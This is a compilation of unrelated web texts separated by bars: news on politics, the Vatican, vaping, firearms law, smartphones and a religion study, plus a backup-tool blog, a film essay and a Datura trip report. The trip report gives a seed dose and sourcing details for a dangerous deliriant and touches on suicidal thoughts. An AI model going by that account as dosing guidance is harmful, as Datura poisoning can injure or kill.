Sanders’s insistence on remaining in the race has caused some worry among establishment Democrats who are growing wary of Trump, the Morning Consult reported. In a new Morning Consult general-election matchup, Trump trails Clinton by 3 points, 42 percent to 39 percent. The real estate mogul lost one point from the previous poll. |
Calls for Respect Following Statements by Member of Pontifical Commission for the Protection of Minors
The Holy See has called for respect following a television interview with a member of the Commission for the Protection of Minors who criticized Cardinal George Pell, the prefect of the Secretariat of the Economy.
In an interview with 60 Minutes, Peter Saunders called the cardinal’s position “untenable” following the Australian Royal Commission’s hearings on the Church’s actions on abuse crimes committed by a former priest. Cardinal Pell has strongly denied accusations that he had knowledge of abuse in the Diocese of Ballarat, where he served as a priest.
Saunders is one of the 17 members of the commission established by Pope Francis to ensure the protection of children and minors from sexual abuse. During the interview, Saunders also criticized the Australian prelate, saying: “He has a catalogue of denigrating people, of acting with callousness, cold-heartedness, almost sociopathic I would go as far as to say, this lack of care.”
However, Cardinal Pell’s secretary denied the accusations raised against him during the interview and also expressed disbelief of Saunders’ opinion given the fact that they never met.
“Cardinal Pell has never met Mr. Saunders, who seems to have formed his strong opinions without ever having spoken to His Eminence,” the statement read.
“In light of all of the available material, including evidence from the Cardinal under oath, there is no excuse for broadcasting incorrect and prejudicial material. In the circumstances, the Cardinal is left no alternative but to consult with his legal advisers.”
The cardinal’s spokesperson also released their statement to 60 Minutes regarding their broadcast, saying that it seemed clear that Saunders “is not well informed about the claims made against Cardinal Pell in the Ballarat hearings of the Royal Commission.”
“Many of the issues were addressed in the final report of the 2013 Victorian Parliamentary Inquiry where there are no adverse findings against Cardinal Pell. These old and repeated allegations have been addressed many times by the Cardinal since 2002.”
During his episcopate, Cardinal Pell was one of the first Catholic bishops to address the issue of child abuse by members of the clergy. Three months after his appointment as Archbishop of Melbourne in 1996, he established the Melbourne Response, which investigated cases of abuse and provided counseling to victims.
‘Respect and Attention’
Following the broadcast of the interview, Vatican spokesman Fr. Federico Lombardi responded to journalists seeking a comment. The director of the Holy See Press Office said that the statements made by Saunders are personal, and not of the Pontifical Commission for the Protection of Minors.
The Commission, he said, “does not have the task to investigate or pronounce specific judgements on individual cases.”
“It also appears the Cardinal Pell has always responded carefully and argued the accusations and claims made by the competent authorities in Australia.”
Fr. Lombardi concluded his statement saying that the cardinal’s position on the matter has been made clear in his public statements “which must be considered reliable and worthy of respect and attention.” |
LOWER EAST SIDE — Forget smoke breaks — a new Lower East Side store is urging New Yorkers to take a vapor break instead.
Vape New York specializes in electronic cigarettes, which create a nicotine-infused vapor for users to inhale, mimicking the feeling of smoking without some of the attendant health dangers.
The new store, which opened last Friday at 40 Rivington St., is an extension of Vape New York's online shop and its first brick-and-mortar location in Jamaica, Queens, which the company estimates has already converted thousands of smokers to e-cigarettes, based on surveys.
"You don't stink, your hair doesn't smell, you can't burn holes in your clothes," said Spike Babaian, 39, co-owner of Vape New York.
"You can use them in most places because they don't produce smoke."
The high-tech devices feature a rechargeable battery and a choice of dozens of flavors of vapor, including berry, vanilla mint and tobacco.
E-cigarette smokers looking for a nicotine rush can add that in as well, choosing one of five different levels depending on how much they want.
"They don't produce carbon monoxide. They don't produce tar. There is no ash because there is nothing burning," said Babaian, of why she believes even vapors with nicotine are still healthier than a cigarette.
Vape New York's new Lower East Side outpost has attracted a diverse group of people so far, with young and trendy "vapors" — as e-cigarette smokers have nicknamed themselves — puffing alongside 60-year-olds on a recent afternoon.
"Oh my gosh. It's so cute," squealed one young customer, eyeing a thin and stylish e-cigarette in baby pink that sells for $30 with a charger kit.
More expensive e-cigarettes include the United States-made Provari, which costs about $175, not including optional accessories such as a skull mouthpiece, known in vapor circles as a "drip tip."
"People stay for hours just hanging out and vaping," said co-owner Phil Roseman, 47, who has been "vaping" himself since 2009 after a 26-year tobacco habit.
"Everyone has a story to share and they all have this common bond — a nicotine habit."
The store offers café tables and free Wi-Fi to encourage customers to hang out, plus there are groups and vapor associations clients can join.
Jason Meilan, a 37-year-old high school teacher, picked up e-cigarettes for the first time last year after relapsing into his 20-year smoking habit, which he started when he was 13.
"I started taking long, long walks" in an effort to hide the smoking from his wife, Meilan said.
Now Meilan is smoking e-cigarettes and hopes to wean himself off nicotine gradually.
"I think I will do this until my hand stops shaking, and then I will quit it entirely," Meilan said.
Howard Sloane, 62, a Vape New York customer for the past year, said he had no intention of graduating from e-cigarettes.
"I had quit smoking, but I don't think I ever got over my nicotine craving," he said. "I just really enjoy it."
The Food and Drug Administration has attempted to block the sale of e-cigarettes and is calling for more research into the technology's benefits and risks, according to a recent New York Times article.
Gov. Andrew Cuomo signed a law last September prohibiting the sale of e-cigarettes to those under 18 for fear the technology could be a gateway to nicotine addiction and smoking regular cigarettes.
But for Roseman, just staying away from lung-damaging smoke is already a step in the right direction.
"Your eyes see the smoke, you get that 'throat hit' and it stops them from buying a pack," he said. |
Truely The Devils Weed
Datura (seeds)
Citation: Chimpanzee. "Truely The Devils Weed: An Experience with Datura (seeds) (exp16996)". Erowid.org . Nov 21, 2004. erowid.org/exp/16996
DOSE:
15 seeds oral Datura (fresh)
BODY WEIGHT: 156 lb
Ever since I heard of Datura from a friend at school a few years ago, I have always tried to get a hold of some, asking dealers I knew from around town. But I was never successful, as many people I asked didn't even know what it was. So after awhile I gave up hope and continued with the usual, smoking grass everyday, occasionally scoring some ketamine or opium to make life a little more interesting. Then last year I finally got a chance to try the stuff. One of my friends told me he had gone to stay with his grandparents for a week and noticed a plant near their house that looked a lot like Datura, so he went over to it and sure enough he saw the small, spikey pods growing near the bottom of the plant. He himself didnt want to try any because he always feared any sort of hallucinogen because of the risk of a bad trip, but knew I had been wanting to try it for quite some time, so he picked one of the magical pods and wrapped it up in cellophane and brought them back for me. The bastard wouldnt hand them over unless I paid him 20 bucks, but I figured it would be well worth it.I couldnt wait to try them. First thing I did was found someone who would be a sitter for me, and that sitter was the most trustworthy friend I know (lets call him Steve). I asked my mom if he could sleep over and she said it was fine. So the next day, Steve came over around noon, and I got the seeds out of the pod and counted 37. I heard it only took like 10 or 15, and I wanted to have more so I could trip another time or sell them, so I decided to take 15.T:00.00 - Me and Steve went up to my room to take them. We put on some music and sat down in my bean bag chairs. I was feeling confident that things were going to go smoothly, mostly just because Steve was there with me, he was a very responsible person who I felt very safe and secure with. Of course I had a little butterflies in my stomach because I was taking something new, but it was mostly excitement, a total 'I cant wait' feeling. As Steve and I talked, I decided it was time, and pulled the sandwich baggie out of my pocket. I got all the seeds in my palm and looked at them, little teardrop shaped things, darkish brown, almost black. I thought to my self 'here goes nothing' and licked my palm to get all the seeds stuck on my tongue, chewed em up a bit, and swallowed. As they went down I got this overwhelming feeling of 'finally'. I have finally taken this crazy Datura, and in time I will be experiencing it. All I could do now is relax, keep the best state of mind I possibly could, and wait for things to kick in.T:00.30 - Went down to the kitchen with Steve to get a drink of water, and then went to the bathroom. No noticeable effects. Steve suggested we play video games while we wait for it to kick in. We went back to my room and played Mario Kart 64 and snacked on some doritos.T:00.50 - Starting to feel different. A lot like when you need to stretch really bad, but in my whole body. Mouth is getting dry, very similar to the cottonmouth after smoking a thick blunt. Steve is winning the game and I am loosing my grip on the controller, and I cant seem to keep the A button pushed down. After about 10 minutes I feel much different, very intense, and Im wondering why Steve is in my room playing video games. He reminds me that he is sleeping over to watch me because I took Datura. Right after he says this a wave of shock and fear run down my body like goosebumps, for I had completely forgotten the reason he was there, and that I had taken anything, although I do recall it, I am needless to say in shock at what just happened with my brain. I look at Steve and say 'calm me down', and somehow, Steve knew exactly what to do. He just smiled at me in this reassuring smile and said 'dont worry man, youre gonna have a blast' this made me feel incredibly better, and my mood shifted. After this, things seem to go back to normal, and I ask Steve to stop playing video games and go downstairs with me. We go downstairs into my kitchen and I pull a full pitcher of cherry kool-aid from the fridge. Steve got 2 glasses, then we went into my living room and sat down on the couch. I pour the both of us a glass and we sip it while watching tv. Afer I finish my glass I pick up the pitcher and gulp it down halfway. I am very thirsty, but the drink doesnt seem to quench my thirst at all, it seems to glide over the surface of my mouth, leaving it dry still. I now just try my best to ignore it, and continue watching tv.T:01:30 I tell Steve Ill be right back, and walk to the bathroom. While I piss I look at this picture above my toilet. Its a cartoon of a polar bear lying on its back in the water, holding a wine glass like it fell asleep from being drunk. The concept makes me want to laugh, it seems like the dumbest cartoon in the world to me, and its location is just as random as its contents. I think to my self 'why the f*** do we have a picture of a drunk polar bear in our bathroom'. For some reason, this seems near hysterical to me.I walk out of the bathroom and go back to the couch with Steve. As soon as I sit down, my mom walked out of the kitchen and tells us shes going to work and to behave, shell be back around 10. Steve and I say good bye and she leaves. Perfect. Now we have the house to ourselves.T:02:00 - Nothing much more seems to be happening. I have finished the pitcher of kool-aid and gone to the bathroom 2 more times. Steve says to go in the kitchen and refill the pitcher with water in case I feel like Im going to dehydrate. It seems like a responsible idea so I go into the kitchen and refill it with water and put ice cubes in it. I walk back into my living room to find Steve has left, and the tv has been turned off. The entire house is dead silent. Then I hear the tv go back on, but the screen is blank, and I hear Steve saying 'hey Im over here'. I realize that hes calling me from out in my backyard, so I put my shoes on and go outside. At first I scanned my back yard for him, but couldnt see him, and I couldnt hear him anymore. I suddenly get the idea that Steve had come over for a hide and seek game (at this point I have absolutely no idea that I have taken anything) so I run into the yard looking around for him. Then I speak 'come out come out where ever you are' . Right when I say this my voice sounds very different, like a person who has gone totally insane. This starts to scare me very much, and Steve is nowhere to be found. I look way across to the other end of my yard (my yard is only about a 100 foot by 200 foot area, but now it was a soccer field size) and at the other end I see my dogs pen, a fenced in area in the corner with all my friends who are straight edge that stopped being friends with me when I started smoking pot. I havent seen them in so long, so I run towards the pen. They look just as happy to see me as I am to see them, and they let me into the pen. We start talking and to my surprise, one of them pulls a blunt out of nowhere and sparks it. I am naturally amused but shocked, then they start to explain to me that they came to see me cause they all 'got into the game' and dont think drugs are that bad after all. On the outside I am pleased to hear this, but on the inside I begin to get feelings of untrust. These bastards abandoned me years back. I dont show any unpleasant feelings on the outside, and I continue to be cheery with them, although I keep a state of mind not to trust anyone there. They pass me the blunt and I take a super long hit, and hold it super long and blow out. After it went around a few times we all spark a cigarette to increase our high. We just keep talking and talking. It seems like time has stopped. How long can people just sit here and talk? Its been hours, I think to myself (strangely enough I am still puffing on the same cigarette, but dont notice anything unusual about it). Then I drop my butt, and it falls under the chair Im sitting on. 'Ah Shit' I said and got out of my seat to get it. I look under the chair but I cant seem to find it. 'Did any of you see were my...' as I turn around I notice no one is there, and I am alone in the pen. A sense of anger comes over me, and I get intense feelings of 'I shouldnt have trusted them' and 'how dare they'. These feelings are followed by loneliness and then total fear. I need to get out of this pen and go back in the house. I walk back to my house across the long field, and it seems to take even longer to go back than when I had come.Next thing I know Im back in my kitchen lying on the floor very sweaty, Steve is there sitting on the kitchen counter. My focus is very blurred and 'off' and I feel very confused about why hes there on the counter and Im on the floor, but every few moments I kinda snap back into reality and know exactly what going on, then snap back into delirium and totally forget everything.Next thing I know its already 6:46am and I am running late. My mom tells me I only got a half hour to get ready or ill get a Saturday detention. I scramble out of bed and run into the bathroom to take a shower. I suddenly realize how mush schools gonna suck cause I forgot to do my homework and I have an oral presentation due today. All these thoughts make me panic and I know theres no way out of it cause I already skipped school 3 times this year and got caught and I cant skip another day or I have to go to court. I get out of the shower and dry off as quickly as I can. Then I run into my room and get dressed and go downstairs to the kitchen. Right then I noticed something was wrong, the clock said 1:00am and the calendar was on July. No body was up. My mom was asleep and had been asleep. She didnt wake me up for school, I did not have school in summer. I wished I was dreaming, and the thoughts in my mind were on the brink of driving me insane. All I remember after this is running back up into my room in total panic ready to cry and scream and if one more weird thing happened I was gonna commit suicide.I woke up in my bed with Steve on the floor watching me, he looked very concerned and asked me if I was ok now, if I was still tripping. I didnt know what to say to him, cause right then I could have still be tripping for all I know. It was 5:00pm the next day, I had a bad headache and couldnt focus on shit, and my whole body was in this dreadfully uncomfortable state. It took me awhile to collect my thoughts and figure out I was not tripping anymore, and I had these series of very strange realistic dreams stuck in my head from when I was asleep, but I cant for the life of me remember what they were now, I forgot them completely about 4 hours after I woke up.From Steves point of view, in a nutshell, I had started acting weird when I had gotten the water from the kitchen. He said that he was trying to talk to me but I would just have this blank stare like I couldnt see him, and then ran outside into my shed in the backyard and started talking to myself, and after an hour or so I ran out of the shed with this scared shitless look on my face and fell down, and crawled back into the house, into the bathroom and he said I was trying to drink out of the toilet, he pulled me up and carried me into the kitchen and put down on the floor and got some ice for me. He said I was talking in my sleep and saying random words in no logical order whatsoever but I was saying them fluently like I knew what I was talking about. Before my mom came home, he carried me upstairs and put me to bed, and stayed up to watch me, and he said I was talking out loud and moving around like I was having nightmares, and around midnight I sprang out of bed and ran into the bathroom and got in the shower for an hour and then went back into my room and put a shirt on backwards and some boxers but no pants and ran downstairs and stood in the kitchen for 10 minutes, just standing there. He said then I freaked out and ran upstairs into my room and he said he had to push me onto my bed and hold me down until I stopped moving, and eventually fell asleep, then he did. He woke up around 10 that day and I slept till 5.To sum it up in one word...insanity. Thats what if feels like if you start to snap out of it and realize whats happening, but then you just go back into this state of total confusion and its enough to drive anyone crazy. Overall I am glad I experienced this, just to know what its like, but this is not for everyone, and Im not saying the experience was at all pleasant, so I have no motivation to do it again anytime soon, maybe someday years from now just for some crazy fun. But this Datura seems to be something not of this world. The hallucinations were accompanied by delirium and confusion which made them seem real and like I wasnt really tripping. This stuff truly is THE DEVILS WEED. |
About
This is a movement I have dreamed of my whole life. Im a survivor of many of lifes most harsh situations. I was also homeless, broke, hungry and terrified. Rock bottom is one of the scariest places in existence and it hurts me deeply to know theres millions of people trapped there. I am a long time entrepreneur and im hoping to give everything up and work on this movement full time. I have already invested quite a bit of money into this because I believe. But if im going to keep a roof over my family's heads and food on the table I need your help. Im currently working on a very very minimalized website for this to let people know its real and is going to happen. Please watch the video, I realize its not a high dollar video but I want to let you know what im doing and thats all that really matters to me. The video is a shot of the starter site I'm working on now. Im so certain this website will change the world and you have my word that I will fight for it until it does. Please be part of making this happen. I will add all donors names on a special page inside the website and I will leave it there for the entire existence of the site. I will also be needing to build a team. |
Gun ownership laws should be tightened, and a national, real-time firearms register should be established, the AMA said today in its new Position Statement on Firearms 2017.
AMA President, Dr Michael Gannon, said that the AMA was concerned at ongoing attempts by some groups to water down the National Firearms Agreement, introduced after the Port Arthur massacre in 1996.
“There is a legitimate role for guns in agriculture, regulated sport, and for the military and police, but gun possession in the broader community is a risk to public health,” Dr Gannon said.
“In the nearly 21 years since Port Arthur, gun deaths in Australia have halved, thanks to the National Firearms Agreement.
“However, it is estimated that there are anywhere between 260,000 and six million guns held illegally in Australia, and most gun-related deaths in Australia are suicides within the families of gun owners.
“Restricting access to firearms reduces the risk of impulsive purchase and use of guns, and their use in intentional acts of violence, including suicide.”
Dr Gannon said that it was concerning that some groups and people, including Members of Parliament, were agitating for changes to allow newer models of pump or lever action rifles to be imported into Australia.
“The AMA commends the decision of State and Territory leaders at the December Council of Australian Governments (COAG) meeting to withstand political pressure and impose stricter controls over the lever action Adler shotgun,” Dr Gannon said.
“We also welcome their agreement to a national gun amnesty this year.
“Gun laws should be tougher, and not watered down in any way.
“The AMA supports a strengthening of current laws banning high-powered semi-automatic weapons and pump or lever action rifles, so that they cannot be circumvented by new or adapted models.
“We strongly oppose any campaigns or policies that seek to dilute or relax the restrictions on firearm purchase and ownership, such as winding back the mandatory ‘cooling off’ period between applying for and buying a gun.”
The Position Statement calls for tighter restrictions on the definition of a “genuine reason” to purchase a firearm, and greater efforts to restrict weapons from entering the country illegally.
It also calls for a real-time, readily accessible National Firearms Licensing Register to be established, incorporating State and Territory information for all types of firearms and other lethal weapons.
It recommends that if a registered owner of a firearm fails to notify the register of a change of address or change in location of storage for any weapon, they should lose their licence and have their weapons confiscated.
Licence applications should be refused if the person is subject to a current restraining or protection order, or a conviction of an indictable offence involving firearms and/or violence within the past five years.
The Position Statement also calls for laws banning the manufacture and sale of 3D printed weapons.
“With advances in 3D manufacturing technology, it is increasingly likely that people will be able to produce firearms and other weapons,” Dr Gannon said.
“Therefore, 3D weapons should be classified in the same way as other firearms and weapons.”
The AMA Position Statement on Firearms 2017 is available at https://ama.com.au/position-statement/firearms-2017.
Background
Figures from 2012 showed that there were about 2,750,000 registered firearms and 730,000 licensed firearm owners in Australia.
In 2014, 253 people died from gunshots, of which 185 were determined to be suicide.
About 1500 firearms are reported stolen each year.
More than 1,121,000 firearms have been handed in to police in a series of amnesties held between 1998 and 2015.
3 January 2017
CONTACT: John Flannery 02 6270 5477 / 0419 494 761
Maria Hawthorne 02 6270 5478 / 0427 209 753
Follow the AMA Media on Twitter: http://twitter.com/ama_media
Follow the AMA President on Twitter: http://twitter.com/amapresident
Follow Australian Medicine on Twitter: https://twitter.com/amaausmed
Like the AMA on Facebook https://www.facebook.com/AustralianMedicalAssociation |
Published: Tue 28 May 2013 In misc. tags: backup linux rsync rsnapshot
I’ve got a couple of Linux machines that need a transparent backup solution at home. Transparent as in - they should happen all the time, without asking, without notification, without any interaction. Ideally it shouldn’t run on the client either just to avoid issues with system updates. Making it all server-side allows me also to backup my girlfriend’s machine without explaining the setup - which is great when even periodic upgrades are a pain to enforce.
Another couple of requirements I had were:
backing up in local network (I don’t have enough bandwidth to backup remotely all the time)
saving storage space where files don’t change
able to run on a small device (I’ve got a TonidoPlug ready)
directory-based rather than fs-based (I’ve got a number of VMs I really don’t want to waste time backing up)
Unfortunately there aren’t many good, ready solutions and there aren’t many choices in general either. Most solutions fall into one of the following groups: trivial copy, archiving solutions, rsync-like and full-blown systems.
To be honest, maybe a big system like bacula can do what I need… but with it having more components that I have local hosts, I didn’t want to invest that much time in learning the configuration.
At small companies where I set up backups, I was happy with DAR. Full backups split into volumes of a given size and stored on removable disks weekly, with daily diffs stored locally - perfect. Here it won’t work - I can’t saturate the network or disk io every couple of hours. I really don’t want to deal with replacing removable disks. Some more intelligent solution is required.
Enter rsnapshot
Rsnapshot is an interesting mix between systems that understand backup schedules and a minimal backup utility. Rsnapshot can copy files from a remote host using rsync (and ssh for example). Then, it knows how to hard-link files that didn’t change to avoid wasting both bandwidth and storage. It also knows how to rotate backup directories when new backups come in and how to promote backups between levels.
The schedule and promotion is done in a very simple way too. Since rsnapshot needs to be run from some scheduler like cron, it takes the name of the backup as a parameter. This can be for example “daily”, “weekly”, “purple”, or whatever you want to call it. What’s important is the order in rsnapshot config file - only the first entry will get copied from source, others will get promoted from the “upper” level locally.
This is pretty much exactly what was needed. For the remote copy, ssh can be configured to use a password-less key to authenticate on the remote hosts. In case it’s possible to access the backup server from the internet, making sure it can run only rsync is a good idea too. For paranoid people, this can be also locked down with apparmor or selinux to deny anything apart from read-only access.
Sample configuration
So what does this look like in practice?
The server which collects the backups has rsnapshot and rsync installed. It also has a password-less ssh key created: just run ssh-keygen and copy the resulting id_rsa.pub into client machine’s \~/.ssh/authorized_keys.
It also has a separate partition available for each backup. In my case they’re mounted under /media/disk1partX.
Now, each machine which needs backing up requires a configuration file. I put them all in my plug’s root directory: /root/rsnapshot_configs/xxx. Each machine looks almost the same. For example host walker has /root/rsnapshot_configs/walker:
config_version 1.2 snapshot_root /media/disk1part2/rsnapshot cmd_rsync /usr/bin/rsync cmd_ssh /usr/bin/ssh cmd_du /usr/bin/du exclude_file /root/rsnapshot_configs/walker.exclude retain hourly 5 retain daily 7 retain weekly 5 backup [email protected]:/home/viraptor viraptor
This configuration says that /media/disk1part2/rsnapshot/viraptor will keep copies of /home/viraptor (minus some excludes like .cache, .steam, etc.) - 5 hourly ones, then 7 daily ones, then 5 weekly ones. All files which have not changed will be hard-linked and no space will be wasted on exact duplicates. The backup is taken from the host walker.local (thanks Avahi!).
But that’s only the definition of what… what about when? Crontab entries are what actually triggers the rsnapshot actions and they live in /etc/cron.d. The content is:
55 */2 * * * root (/bin/ping -c1 walker.local >/dev/null 2>/dev/null) && /usr/bin/rsnapshot -c /root/rsnapshot_configs/walker hourly 20 3 * * * root /usr/bin/rsnapshot -c /root/rsnapshot_configs/walker daily 20 4 * * 1 root /usr/bin/rsnapshot -c /root/rsnapshot_configs/walker weekly
This means that every 2 hours if the host is on (it most likely isn’t), rsnapshot will take another hourly copy. Then every day in the morning it will promote an old hourly snapshot to daily and once a week it will promote daily to weekly.
Summary
All simple and easy. There’s no specific recovery procedure involved, because all backups are available as normal files on the server. It’s actually easy to browse the old entries in case only one or two files need recovering. And in case of serious issues - just rsync everything back from the last snapshot. So far I’m very happy with it.
One thing to watch out for is the exclusions file in case you don’t have a massive harddrive available. If you happen to install Steam with some games you may start getting emails about failed backups… but there’s only so many copies of portal or tf2 that you’ll need in your life - you probably don’t need them in the backups unless you have lots of space. VM images which change all the time are also very bad candidates for backing up with rsnapshot. Every modification there will need a separate, complete copy.
With a “normal” developer-style usage the size of old copies is close to none. Currently, my last copy is 22GB, but all previous snapshots and modifications add only 2GB to that. |
Without doubt Umbraco is the best content management system out there today. It's free, open source, has an amazing supportive community, and makes organising and managing content a piece of cake. So, when we sat down to make Curriculum Garden, a content-heavy online learning environment, it was the obvious choice.
"Umbraco... was the obvious choice"
So why throw React into the mix? It was vital to the project that we build a dynamic, lightning quick user experience, which feels as much like a native app as possible. Users expect nothing less these days, and React has yet to let us down on that front.
We had our two perfect technologies, but marrying them had never been attempted by our team before. The key challenges were building a site which takes advantage of Umbraco's content editing capabilities as much as possible, while maintaining the snappy experience that users love and remaining accessible to search engines.
"We have our two perfect technologies, but marrying them has never been attempted..."
But the engineering challenges were overcome, and the results are something that we're all proud of. Curriculum Garden already has thousands of learning resources and our conversion rate is increasing every day.
In order to give back to the community, we've released an Umbraco + React example site as open source, with the code available to all on Github under a permissive license.
"We've released an Umbraco + React example site as open source"
The code for developers to download can be found here- we hope this will help you kick-start your own exciting Umbraco + React projects.
Click here to download: https://github.com/systempioneer/ReactUmbracoExample |
So this weekend's freshly oiled Conan The Barbarian film failed to pillage moviegoers' wallets and Jason Momoa's gently undulating pectorals didn't hypnotize critics. This shouldn't have entirely come as a surprise, seeing as how the Conan moving-picture franchise has been in dire straits for decades now.
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Indeed, we can use the historical trajectory of Conan films as a stand-in for the Kübler-Ross model of the five stages of grief. This parallel becomes abundantly apparent when you watch the Conan films in rapid succession. Join us as we appropriate psychiatry in the name of Crom.
1.) DENIAL is James Earl Jones turning into a giant snake
As much as it pains me to admit it, 1982's Conan The Barbarian is not a perfect movie. Sure, it starts with the world's most deranged training montage and quickly graduates to camel-punching, but the film does not keep up its raucous pace. That which begins as a movie about 1980s Arnold Schwarzenegger getting paid to act like himself begins to gently sputter in its final scenes. The biggest "aw shucks" moment is when Thulsa Doom (James Earl Jones) turns into a snake and does absolutely nothing.
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Sure, the man who once played Jack Johnson looks pretty snazzy polymorphing into a boa constrictor, but all he does is hide in a cubby. No constricting, no snake puppet soliloquies, no nothing! It's a minor letdown, but a letdown nonetheless. At this point, the audience will deny that a Conan film could be anything other than wackadoo pristine beefcake.
2.) ANGER is The Man Ape
When you watch Conan the Destroyer, it's apparent from the start that this movie is an unapologetic train wreck. The first 30 minutes are devoted to recycling the camel-punching joke from the first movie, making fun of Wilt Chamberlain's character's libido, and watching Grace Jones scream for the other 20 minutes (these are the best minutes). Everything looks dusty and washed out and PG-rated. By the time you hit the amateurish battle with the nipples-exposed Man Ape, you are angry to be subjected to this dross.
3.) BARGAINING is The Andre The Giant Monster
Remember how Conan The Barbarian ended without a massive monster brawl? Well, Destroyer did, and it featured the most famous wrestler ever to share an automobile with Samuel Beckett in a crappy kaiju suit. This scene gives the audience a fugitive hope future Conan films will return to their former fratboy zeniths. The viewer is bargaining the next film will not be unwatchable.
4.) DEPRESSION is Red Sonja
For all intents and purposes, this is a Conan film — Arnold Schwarzenegger and Sandahl Bergman are in it, it takes place in the Hyborian Age, and Dino De Laurentiis was involved. But what is this shit? Arnold as someone who's not Conan? That annoying kung-fu munchkin prince? The most anti-climactic battle with a mechanical serpent ever filmed? The dreadful realization that nobody can act? It's true, 1985's Red Sonja is damn depressing . Incredibly, the film is too inept to properly make fun of.
5.) ACCEPTANCE is Everything Else Since Red Sonja
Post-Red Sonja, you learn that you can never go back to Hyboria. That 1997 low-budget Conan The Adventurer series starring Ralf Möller? Sure. The 1992 cartoon show whose theme song sounded like Rammstein: The Musical? Whatever, man. The audience has seen what is best in life and must accept that Conan no longer throttles dromedaries or freelances as a pimp. |
LG Electronics’ premium Smartphone ‘V10’ is supporting wireless charging function by replacing its battery cover. By utilizing the advantage of removable battery product that can replace a back cover, it is going to provide convenience of using wireless charging function that is almost equal to a built-in battery.
According to wireless charging international standardization group called Wireless Power Consortium (WPC), LG Electronics received ‘Qi’ certification through a wireless charging battery cover ‘CPR-120’ for V10. WPC Qi certification, which is a widely used wireless charging international standard along with PMA, presents criteria for technologies that are related to safety, compatibility between products and others.
LG Electronics had entered wireless charging market by releasing ‘Optimus LTE 482’ that has electromagnetic inductive coupling method wireless charging technology. It was able to contribute in forming an early market by competing against Samsung Electronics’ Galaxy S3 in technologies related to wireless charging.
LG Electronics, who had actively participated in WPC activities, continuously provided wireless charging function in a separate case-form for follow-up Optimus series. However it did not lead to an expansion of markets due to low efficiency in charging, inadequate infrastructures, low support from consumers and others.
Wireless charging market had begun to become active again this year as Samsung Electronics had introduced Galaxy S6 with all-in-one battery with built-in wireless charging function. Many areas such as charging speed had been improved, and it seems that markets related to all sorts of aftermarket wireless chargers and wireless charging option inside cars and others are also growing.
It seems that LG Electronics is strengthening its wireless charging function as it is also preparing built-in battery cover that has been upgraded for V10. While it is adding high-tech technologies such as dual-camera, dual-screen, fingerprint recognition and others to V10, it is also adding wireless charging function.
While many people’s expectations and responses are disagreeing with each other on Smartphones’ usage of wireless charging functions, industries believe that LG Electronics’ wireless charging battery covers will broaden consumers’ range of choices as they are detachable covers that can be replaced. Although currently normal battery cover has only NFC antennas, it is predicted that wireless charging covers will have NFC-wireless charging receiver mixed modules.
Because LG Innotec, which is an affiliate of LG Group, has technology levels on transmitter and receiver related to wireless charging function and excellent performance, considerable amount of synergy effect is expected.
“We are currently preparing battery covers for V10 that have built-in wireless charging function for foreign markets first. We have not yet decided on when we are going to release them in South Korea.” said a person affiliated with LG Electronics
Staff Reporter Park, Jungeun | [email protected] |
Getty Images Simply viewing an image of Rodin's sculpture "The Thinker" promotes religious disbelief.
Most of the world’s population believes in God, or gods, but alongside them there are also hundreds of millions of nonbelievers. What makes one a believer or not?
Religious faith is likely a complex phenomenon, shaped by multiple aspects of psychology and culture, say the authors of a new study. But the researchers, Ara Norenzayan and Will Gervais of the University of British Columbia in Canada, showed in a series of clever studies that at least one factor consistently appears to decrease the strength of people’s religious belief: analytic thinking.
“Religion is such a big force in the world,” says Norenzayan, an associate professor of psychology. “Hardly a day goes by without allegiances made to God, but we know very little about it. We are trying to fill this gap in our knowledge.”
(MORE: Study: Narcissism and Religion an Unethical Mix)
In one study, the researchers correlated participants’ performance on a test of analytic thinking with measures of their religious belief. The thinking task included three problems requiring participants to analytically override their initial intuition. For example, one question asked: “A bat and a ball cost $1.10 in total. The bat costs $1 more than the ball. How much does the ball cost?” The immediate, intuitive response is 10 cents. Those who take the time to figure out the right answer (5 cents) are judged to be more analytical, and these people tended to score lower on the measures of religious belief.
The team then conducted four other studies showing that when people are primed to think analytically, it weakens the strength of their religious belief. In one experiment, researchers asked participants to look at images of sculpture: either Rodin’s The Thinker, a well-known portrayal of deep thought, or another artwork of a discus thrower that was matched to The Thinker for color and posture. (In a previous trial, the researchers confirmed that simply viewing Rodin’s work improved people’s performance on a syllogistic reasoning task.) Those who viewed The Thinker were also significantly less likely than the control group to say they believed in God.
In other trials, researchers primed analytic thought in subtler ways — for instance, by asking people to make simple sentences out of words, which included either thinking-related words like ponder or rational or control words like hammer and brown. Another task asked people to rate their religious beliefs on a questionnaire presented in one of two fonts: a clear, easy-to-process font or an italicized type that made the text difficult to read (previous research has found that presenting information in hard-to-read type boosts people’s ability to reason). Across the board, participants who were primed for rational thought were less likely to express religious belief. What’s more, researchers had measured religious belief in many of the participants several weeks prior to the analytic thinking experiments and found no difference between the groups.
(MORE: Religion’s Secret to Happiness: It’s Friends, Not Faith)
The impact of the thinking tasks was significant, but relatively small. Reported Science Now:
“We’re not turning people into atheists,” says Gervais. Rather, when the questionnaire responses of all subjects in an experiment are taken together, they indicate a small shift away from religious belief.
There are surely many factors at play here, but the researchers say their results suggest that one’s style of thought may be a crucial contributor to religious belief. Intuitive thinkers are more likely to be religious; analytical types, less so. “One explanation for belief is that it is based on a number of intuitions we have about the world around us. People don’t necessarily come to belief because they reason into it. Intuition helps us,” says Norenzayan.
For instance, the commonly held belief that the mind and soul are distinct from the body stems from intuition. “It is not based in logic or reason. That’s not why people find this compelling,” says Norenzayan.
(MORE: How Feelings of Gratitude Breed Happiness and Well-Being)
That’s not to say that one way of thinking is more valuable than the other, only that the friction between intuitive and analytical thinking may help explain the origins of religious belief — or disbelief. “We know that in human psychology there are two systems of thinking. System one is intuitive; it is rapid and effortless. System two is analytical, and is more reasoned and thoughtful. Our study supports the idea that analytic thinking can push people away from intuitive thinking,” says Norenzayan.
The authors stress that their findings only scratch the surface of how religious belief develops. Faith is a complicated thing, influenced by culture and experience, Norenzayan says, such as those who find religion during situations of fear or morality. “We are not saying that analytical thinking turns people against religion. … There are lots of things going on,” says Norenzayan. “Our findings do not suggest one form of thinking is better than the other either. We don’t believe that. Both are important and both have costs and benefits.”
The study was published Thursday in the journal Science.
SPECIAL: The Great Introverts and Extroverts of Our Time |
Tonight on the Rockpile Report we host a pair of WGR550 personalities, Nate Geary from "Breakfast With the Bills"& Ryan Gates, producer for WGR550's "Schopp & The Bulldog" and host of "The Nightcap"!
We discuss Jonathan Williams not facing charges on DUI & Adolphus Washington's weapons charge, the recent tweets from Sammy Watkins on the way NBA players are getting paid and PFF's dislike of the Bills in 2017.
